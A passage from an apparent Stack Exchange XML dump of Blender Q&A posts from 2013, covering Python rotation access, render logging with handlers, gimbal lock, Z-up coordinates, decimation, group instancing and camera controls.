  <row Id="462" PostTypeId="2" ParentId="459" CreationDate="2013-05-30T00:43:08.003" Score="6" Body="&lt;p&gt;The method for accessing an object's rotation varies depending upon which rendering engine you are using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In either Blender-Internal or Cycles, you can access an object's rotation by using the Python reference &lt;code&gt;bpy.context.object.rotation_euler&lt;/code&gt; or just &lt;code&gt;object.rotation_euler&lt;/code&gt;. In your script, just call that reference and set your other object's velocity based on that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Blender Game Engine, you need to instead use &lt;code&gt;object.worldOrientation.to_euler()&lt;/code&gt; to retrieve the object's rotation. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;cont = logic.getCurrentController()&#xA;obj = cont.owner&#xA;rotation = obj.worldOrientation.to_euler()&#xA;print (rotation.z)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2013-05-30T22:59:48.020" LastActivityDate="2013-05-30T22:59:48.020" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="463" PostTypeId="1" AcceptedAnswerId="464" CreationDate="2013-05-30T00:43:12.907" Score="16" ViewCount="3146" Body="&lt;p&gt;Is there a simple way to log/save every render that you make in a Blender scene? Maybe an add-on? This would be helpful to visually see progress on modeling, materials, lighting, and whatnot. It would also be helpful if it could &quot;print on&quot; the date/time, vertex count, and the camera settings. Am I just dreaming or is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="14" LastActivityDate="2013-09-25T11:56:19.343" Title="Logging renders?" Tags="&lt;rendering&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="464" PostTypeId="2" ParentId="463" CreationDate="2013-05-30T00:53:27.267" Score="11" Body="&lt;p&gt;The closest thing to &lt;em&gt;logging&lt;/em&gt; a render in Blender is to render to different slots. Each slot can store a different render for comparisons etc. In the Image Editor, there is a popup menu in the header that has 8 different slots that you can render to. Before rendering, choose a slot. &lt;em&gt;( You can also quickly cycle through these by using &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; for the previous render slot and &lt;kbd&gt;J&lt;/kbd&gt; for next render slot.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uWdIi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the second part, there is a &lt;em&gt;Stamp&lt;/em&gt; pane in the &lt;em&gt;Render&lt;/em&gt; tab that you can use to attach the date, time and render time etc to your render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ff0fK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-09-25T11:56:19.343" LastActivityDate="2013-09-25T11:56:19.343" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="465" PostTypeId="1" AcceptedAnswerId="1319" CreationDate="2013-05-30T00:55:00.853" Score="7" ViewCount="843" Body="&lt;p&gt;If I check &lt;em&gt;Export Animated Mesh&lt;/em&gt; for an &lt;em&gt;Inflow&lt;/em&gt; in fluid dynamics, I lose the option of using local coordinates. Why? What can I do about it?&lt;/p&gt;&#xA;" OwnerUserId="79" LastEditorUserId="20508" LastEditDate="2016-07-21T01:16:28.143" LastActivityDate="2016-07-21T01:16:28.143" Title="Why can't I have an inflow with an animated mesh output to local coordinates?" Tags="&lt;animation&gt;&lt;fluid-simulation&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="467" PostTypeId="2" ParentId="386" CreationDate="2013-05-30T02:48:29.290" Score="2" Body="&lt;p&gt;You could just press the &lt;kbd&gt;Home&lt;/kbd&gt; button&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-05-30T02:48:29.290" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="468" PostTypeId="2" ParentId="463" CreationDate="2013-05-30T04:46:44.860" Score="5" Body="&lt;p&gt;I had a similar need before and I did a test. By making use of the handlers (bpy.app.handlers), once can define render_pre, render_post, render_complete callbacks on render (bpy.app.handlers.render_pre.append(preRenderFunc), etc.,).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def PostLoadSession(self):&#xA;    print(&quot;post load&quot;)&#xA;    scene = bpy.context.scene&#xA;    srrid = 'srrid'&#xA;    if srrid not in scene or not scene[srrid]:&#xA;        print(&quot;Nothing was rendered previously&quot;)&#xA;    else:&#xA;        print('Last image rendered was {0}.{1}.png'.format('RenderResult' ,scene[srrid]))&#xA;&#xA;bpy.app.handlers.load_post.append(PostLoadSession)&#xA;&#xA;@persistent&#xA;def PreRender(self):&#xA;    print(&quot;pre render&quot;)&#xA;    scene = bpy.context.scene&#xA;    srrid = 'srrid'&#xA;    if srrid not in scene:&#xA;        print('This is the first time you are rendering from this file')&#xA;        scene[srrid] = 0&#xA;        print('Created {0}'.format(srrid)) &#xA;&#xA;bpy.app.handlers.render_pre.append(PreRender)&#xA;&#xA;@persistent&#xA;def PostRender(self):&#xA;    print(&quot;post render&quot;)&#xA;    scene = bpy.context.scene&#xA;    srrid = 'srrid'&#xA;    if srrid not in scene:&#xA;        print('PreRender was not called')&#xA;    else:&#xA;        scene[srrid] += 1&#xA;        print('Saved render result as {0}.{1}.png'.format('RenderResult', scene[srrid])) &#xA;&#xA;bpy.app.handlers.render_complete.append(PostRender)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find more details on my blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://learningblender3dsoftware.blogspot.in/2012/10/messing-around-with-prepost-handlers.html&quot; rel=&quot;noreferrer&quot;&gt;http://learningblender3dsoftware.blogspot.in/2012/10/messing-around-with-prepost-handlers.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code available on my blog does not actually save the images yet, but it can be easily achievable. I am actually in the process of creating an add-on that saves the images. I hope to release a beta version soon.&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-05-30T14:21:49.427" LastActivityDate="2013-05-30T14:21:49.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="469" PostTypeId="1" CreationDate="2013-05-30T05:28:48.993" Score="27" ViewCount="18899" Body="&lt;p&gt;I have read &lt;a href=&quot;http://en.wikipedia.org/wiki/Gimbal_lock&quot;&gt;the Wikipedia page on gimbal lock&lt;/a&gt;, and am still confused about the entire matter.  My understanding is that, using a local coordinate system, if you rotate a model about its X axis then its Y and Z axes experience gimbal lock, and become &quot;locked&quot; together.  However, my understanding is that if you rotate the X axis, then &lt;em&gt;both&lt;/em&gt; the Y and Z axes rotate with it, and as such remain separate.  Wikipedia, as always, while a good resource is difficult to understand on this topic.  Could someone please endeavor to explain this to a person who does not have a Master's in physics or mathematics?&lt;/p&gt;&#xA;" OwnerUserId="204" LastEditorUserId="25" LastEditDate="2013-06-01T03:30:36.203" LastActivityDate="2020-02-06T18:57:45.393" Title="Could someone please explain gimbal lock?" Tags="&lt;transforms&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="470" PostTypeId="2" ParentId="469" CreationDate="2013-05-30T06:06:12.363" Score="16" Body="&lt;p&gt;I gather that it's an inherent weakness of just storing three axial rotations (Quaternion, on the other hand, also evaluates orientation value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Per ideasman42's comment): We can easily see this for any object using Euler rotational system, by manipulating the rotation widget with transformation orientation set to &lt;strong&gt;Gimbal&lt;/strong&gt;. It turns out to be easy to reproduce, by manipulating 2nd axis in the evaluation order (Z for XZY, or X for ZXY, etc.). I get the following condition on XYZ order by just manipulating Y axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slEJJ.png&quot; alt=&quot;Gimbal lock on Euler with XYZ evaluation order, by manipulating Y axis.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's &lt;a href=&quot;http://www.anticz.com/eularqua.htm&quot; rel=&quot;noreferrer&quot;&gt;an article&lt;/a&gt; and &lt;a href=&quot;http://www.youtube.com/watch?v=zc8b2Jo7mno&quot; rel=&quot;noreferrer&quot; title=&quot;Guerilla CG&quot;&gt;a video&lt;/a&gt; for alternative explanations of the condition.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-05-31T12:13:19.043" LastActivityDate="2013-05-31T12:13:19.043" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="471" PostTypeId="1" CreationDate="2013-05-30T06:24:42.123" Score="70" ViewCount="76911" Body="&lt;p&gt;After learning bits and pieces of Maya, 3DS Max, IMAGINE and XSI I noticed that they all have Y-up worlds with Z being used for depth (naturally).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is there a way to make Blender a Y-up world? &#xA;and does anyone know why isnt it Y-up in the first place?&lt;/p&gt;&#xA;" OwnerUserId="232" LastEditorUserId="47" LastEditDate="2013-05-30T14:22:14.060" LastActivityDate="2017-06-02T05:04:41.723" Title="Is it possible to make Blender a Y-up world?" Tags="&lt;3d-view&gt;&lt;coordinates&gt;" AnswerCount="3" CommentCount="4" FavoriteCount="16" ContentLicense="CC BY-SA 3.0" />
  <row Id="472" PostTypeId="2" ParentId="471" CreationDate="2013-05-30T06:51:19.277" Score="2" Body="&lt;p&gt;Blender is based on &lt;a href=&quot;http://en.wikipedia.org/wiki/Cartesian_coordinate_system&quot; rel=&quot;nofollow&quot;&gt;Cartesian&lt;/a&gt; right handed system, which is Z-up. From what I've read it's not possible to change that since it's pretty much hardcoded among Blender's various features, but I may be wrong.&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="145" LastEditDate="2013-05-30T07:17:38.490" LastActivityDate="2013-05-30T07:17:38.490" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="473" PostTypeId="2" ParentId="471" CreationDate="2013-05-30T07:04:25.563" Score="37" Body="&lt;p&gt;This is unique to Blender and as far as I know, &lt;strong&gt;cannot&lt;/strong&gt; be changed. .&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Blender &lt;a href=&quot;http://www.rab3d.com/tut_blen_started.php&quot; rel=&quot;noreferrer&quot;&gt;uses&lt;/a&gt; the &lt;a href=&quot;http://en.wikipedia.org/wiki/Right-hand_rule&quot; rel=&quot;noreferrer&quot;&gt;right hand&lt;/a&gt; coordinate system with the Z axis pointing&#xA;  upwards. This is common with the coordinate systems used by most&#xA;  common 3D CAD packages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y00Z2.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reasoning for this is that a common convention for real world applications for engineering and science is that &lt;em&gt;X&lt;/em&gt; and &lt;em&gt;Y&lt;/em&gt; axes define a flat ground plane while the &lt;em&gt;Z&lt;/em&gt; axis defines up and down&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CVIq4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However,&lt;/em&gt; if you work between these software &lt;em&gt;that you mention above&lt;/em&gt;, one way you could maintain consistency is to export the object(s) as a &lt;code&gt;.obj&lt;/code&gt; or &lt;code&gt;.fbx&lt;/code&gt; &lt;em&gt;(or any other similar format, most if not all exporters in Blender have this option)&lt;/em&gt; to the other application with the &lt;em&gt;'up'&lt;/em&gt; axis being &lt;em&gt;Z&lt;/em&gt; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3tI2m.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-05-30T07:11:22.953" LastActivityDate="2013-05-30T07:11:22.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="474" PostTypeId="1" CreationDate="2013-05-30T08:13:12.300" Score="29" ViewCount="46260" Body="&lt;p&gt;3ds max has a sort of modifier that allows you to take a heavily subdivided mesh and take away some of the polygons that would anyhow create a single polygon (i.e they are facing the same way).&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2017-08-10T13:00:21.467" Title="Is it possible to automatically simplify geometry in blender without losing object shape?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="475" PostTypeId="2" ParentId="474" CreationDate="2013-05-30T08:21:44.907" Score="32" Body="&lt;p&gt;You could use the &lt;em&gt;Decimate Modifier&lt;/em&gt;. You can find the documentation &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/decimate.html&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;. &#xA;Please note that you only see its effect while in &lt;em&gt;object mode&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zMItS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qPUJh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a 2 minute tutorial &lt;a href=&quot;http://www.youtube.com/watch?v=gq-6X3pzUOE&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2017-08-10T09:30:14.890" LastActivityDate="2017-08-10T09:30:14.890" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="476" PostTypeId="5" CreationDate="2013-05-30T08:26:50.760" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-05-30T08:26:50.760" LastActivityDate="2013-05-30T08:26:50.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="477" PostTypeId="4" CreationDate="2013-05-30T08:26:50.760" Score="0" Body="WebGL extends the capability of the HTML canvas element to allow it to render accelerated 3D graphics in any compatible web browser." OwnerUserId="238" LastEditorUserId="238" LastEditDate="2013-05-30T13:10:23.690" LastActivityDate="2013-05-30T13:10:23.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="481" PostTypeId="1" AcceptedAnswerId="482" CreationDate="2013-05-30T10:05:21.463" Score="7" ViewCount="3728" Body="&lt;p&gt;I am building a tenement. After I have built one course of bricks I want to duplicate them to form an adjacent course, but with a negative scale, in the X axis.&#xA;When a story has been completed I want to duplicate this collection of courses and bricks, to create several stories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought that parenting the first course of bricks to an empty would let me do this but it doesn’t.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do it?&lt;/p&gt;&#xA;" OwnerUserId="239" LastEditorUserId="80" LastEditDate="2013-05-30T15:17:47.193" LastActivityDate="2013-05-31T04:12:52.177" Title="How can I copy or duplicate several objects in one step?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="482" PostTypeId="2" ParentId="481" CreationDate="2013-05-30T10:15:51.063" Score="7" Body="&lt;p&gt;I was about to answer &quot;Array modifier&quot;, but your case may be more complex. My way to accomplish this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I make &lt;strong&gt;a separate scene&lt;/strong&gt; just for one component (e.g. a window frame to be duplicated, or in your case, one full story), and model it there. &lt;/li&gt;&#xA;&lt;li&gt;After I'm done, I &lt;strong&gt;group it&lt;/strong&gt; as one component.&lt;/li&gt;&#xA;&lt;li&gt;Lastly, in the main scene, I &lt;strong&gt;instanced the group&lt;/strong&gt; (Shift-A -&gt; Group Instance) as many as I&#xA;needed. Each instances are free to be transformed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here's an example from a building I modeled, the original repeatable objects are collected in a scene for easy measurement control:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/06LPW.gif&quot; alt=&quot;One props scene containing all repeatable objects, and one main scene where they&amp;#39;re put to use.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I like about this approach, is that we can always modify the base component in its own scene, and all instances in the main scene will be updated. And unlike linked-duplicates, we can add as many object to the group as needed.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-05-31T04:12:52.177" LastActivityDate="2013-05-31T04:12:52.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="484" PostTypeId="2" ParentId="67" CreationDate="2013-05-30T11:06:26.700" Score="4" Body="&lt;p&gt;Another thing to try is the Laplacian Smooth modifier with a negative factor.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-30T11:06:26.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="485" PostTypeId="1" AcceptedAnswerId="2739" CreationDate="2013-05-30T11:44:46.673" Score="5" ViewCount="5824" Body="&lt;p&gt;For a while now I've been interested in prototyping parametric ways to generate geometry. The nodeview of &lt;a href=&quot;http://www.grasshopper3d.com/photo/mandelbulb?context=featured&quot; rel=&quot;nofollow&quot;&gt;Grasshopper&lt;/a&gt; reminds me a lot of the nodeviews we have in blender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking, with the new pynodes feature maybe somebody has started to do work on node based parametric geometry creation, or does pynodes not make that possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;: I'm already able to write scripts that generate parametric geometry  using BMesh API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit2&lt;/strong&gt;: example &lt;a href=&quot;http://vimeo.com/28175502&quot; rel=&quot;nofollow&quot;&gt;video of Grasshopper&lt;/a&gt; in action&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="12" LastEditDate="2013-08-11T05:00:55.293" LastActivityDate="2016-09-12T08:07:01.970" Title="Has anyone started a project similar to Grasshopper (Rhino) for blender?" Tags="&lt;modeling&gt;&lt;pynodes&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="486" PostTypeId="2" ParentId="136" CreationDate="2013-05-30T11:50:10.557" Score="10" Body="&lt;p&gt;You might want to try this addon:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/AI_PDF_SVG&quot; rel=&quot;noreferrer&quot;&gt;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Import-Export/AI_PDF_SVG&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will do the import, extrusion, and bevel in one step, and will use a better algorithm to fill with quads where possible, triangles when necessary. The addon will also import Adobe Illustrator and PDF vector art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a picture of what it looks like importing and beveling a file like yours here: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/52TwH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="209" LastEditorUserId="209" LastEditDate="2013-05-30T12:38:21.817" LastActivityDate="2013-05-30T12:38:21.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="487" PostTypeId="2" ParentId="43" CreationDate="2013-05-30T12:05:28.110" Score="85" Body="&lt;p&gt;&lt;em&gt;Situation 1: You're not looking through the camera yet&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Fly Mode:&lt;/strong&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F&lt;/kbd&gt; or the standard &lt;strong&gt;Viewport Navigation&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Set Camera to View:&lt;/strong&gt; &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Numpad 0&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Situation 2: You're already looking through the camera via&lt;/em&gt; &lt;kbd&gt;Numpad 0&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Select the camera:&lt;/strong&gt; &lt;kbd&gt;Right Mouse Button&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Grab:&lt;/strong&gt; &lt;kbd&gt;G&lt;/kbd&gt; &amp;amp; optionally...&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Lock the grab to a local axis:&lt;/strong&gt; &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; or &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; or &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; (my favorite)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rotate:&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Tilt&lt;/strong&gt;: &lt;kbd&gt;R&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Look around&lt;/strong&gt;: &lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;R&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Orbit around the 3D cursor:&lt;/strong&gt; &lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; followed by &lt;kbd&gt;R&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt;. (Press &lt;kbd&gt;,&lt;/kbd&gt; afterwards)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Tips &amp;amp; Notes (some go beyond this question):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In earlier versions of Blender, Fly Mode would to make the camera slowly flatten with the horizon line. It doesn't anymore, but you can reset the camera's rotation &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; to make the horizon flat and then use fly mode to reorient the camera while maintaining that flat horizon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you decide to use another object as a target for the camera to look at, you can use the Object Constraints. To do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the camera.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;-select the target.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; and select &lt;strong&gt;Track To&lt;/strong&gt; or &lt;strong&gt;Damped Track To&lt;/strong&gt;. You can modify the new constraint in the camera's &lt;em&gt;Constraints&lt;/em&gt; panel, for example, to animate the influence.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="240" LastEditorUserId="240" LastEditDate="2014-04-22T13:51:59.487" LastActivityDate="2014-04-22T13:51:59.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="488" PostTypeId="2" ParentId="485" CreationDate="2013-05-30T12:07:07.567" Score="2" Body="&lt;p&gt;In my opinion writing a script makes more sense. You probably will have to import a few libraries(which I don't think you can do with pynodes). Geometric PyNodes hasn't been officially added yet. It's just experimental add-on at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to have a fair understanding of scripting and python - whatever the outcome. So if you don't already know python, now is the time to learn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the link to geometry pynodes if you're interested: &lt;a href=&quot;https://www.gitorious.org/blender-trunk/addons/trees/geometry_nodes/py/scripts/addons/geometry_nodes&quot; rel=&quot;nofollow&quot;&gt;https://www.gitorious.org/blender-trunk/addons/trees/geometry_nodes/py/scripts/addons/geometry_nodes&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="47" LastEditDate="2013-05-30T13:58:11.613" LastActivityDate="2013-05-30T13:58:11.613" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="489" PostTypeId="2" ParentId="485" CreationDate="2013-05-30T12:14:37.773" Score="4" Body="&lt;p&gt;Not really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have been experimental projects, but nothing too usable from what I've seen (there was some test using PyNodes with BMesh API: &lt;a href=&quot;https://www.gitorious.org/blender-trunk/addons/trees/geometry_nodes/py/scripts/addons/geometry_nodes&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-05-31T14:15:34.597" LastActivityDate="2013-05-31T14:15:34.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="490" PostTypeId="2" ParentId="452" CreationDate="2013-05-30T13:04:51.527" Score="19" Body="&lt;p&gt;NVidia hardware and compilers support true function calls, which is important for complex kernels. It seems that AMD hardware or compilers do not support them, or not to the same extent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To see why this is a problem, consider this example. There are 5 places where the shading nodes are executed, and there are 20 places in the shading nodes where perlin noise is used. Because no true function calls are supported, the compiler must copy the perlin noise code 100x. You can see how this would make the final code size blow up and cause issues for the compiler.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that V-Ray RT at this time also does not support running their full OpenCL kernel on AMD (only an older and simpler version), and Luxrender with OpenCL is also running into kernel size issues when adding more features. So that's a good indication kernel size is the main issue here.&lt;/p&gt;&#xA;" OwnerUserId="242" LastActivityDate="2013-05-30T13:04:51.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="491" PostTypeId="2" ParentId="463" CreationDate="2013-05-30T13:13:54.073" Score="12" Body="&lt;p&gt;You can have Blender automatically save files if you check the Auto Save checkbox in the render settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xt7I6.png&quot; alt=&quot;autosave checkbox&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renders will automatically be saved to &lt;code&gt;*blendfile location*/auto_save/&lt;/code&gt;. If you check subfolders renders will be saved to: &lt;code&gt;*blendfile location*/auto_save/*blendfile name*/&lt;/code&gt;(useful if you have multiple .blend files saved in the same directory)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since it uses the location of the .blend file as a base, you must save your file before this feature can work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is an &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Render/Auto_Save&quot; rel=&quot;noreferrer&quot;&gt;addon&lt;/a&gt;, so make sure to enable it in the settings:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/bJCwB.png&quot; alt=&quot;enable in the settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="228" LastEditDate="2013-05-30T14:15:45.997" LastActivityDate="2013-05-30T14:15:45.997" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="492" PostTypeId="2" ParentId="431" CreationDate="2013-05-30T13:24:23.553" Score="1" Body="&lt;p&gt;The solution I arrived at goes like this, not sure if this is a hack or reasonable practice:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def execute(self, context):&#xA;&#xA;    # this removes the existing mesh data, when user adjusts slider&#xA;    if context.object:&#xA;        bpy.ops.mesh.delete()&#xA;&#xA;    # this deals with mesh repopulation&#xA;    verts, faces = make_polysphere(self)&#xA;    base = create_mesh_object(context, verts, [], faces, &quot;PolySphere&quot;)&#xA;    context.object.show_wire = True&#xA;&#xA;    # perform the final operations on the object.&#xA;    bpy.ops.object.mode_set(mode='EDIT')&#xA;    bpy.ops.mesh.remove_doubles(threshold=1.0e-5)&#xA;    return {'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Therefore, perhaps the original question wasn't stated as accurately as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;:  this is buggy, I don't use it. Still trying to figure out a reasonable solution to the &lt;code&gt;remove doubles&lt;/code&gt; problem.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2013-07-01T16:46:58.753" LastActivityDate="2013-07-01T16:46:58.753" CommentCount="0" ContentLicense="CC 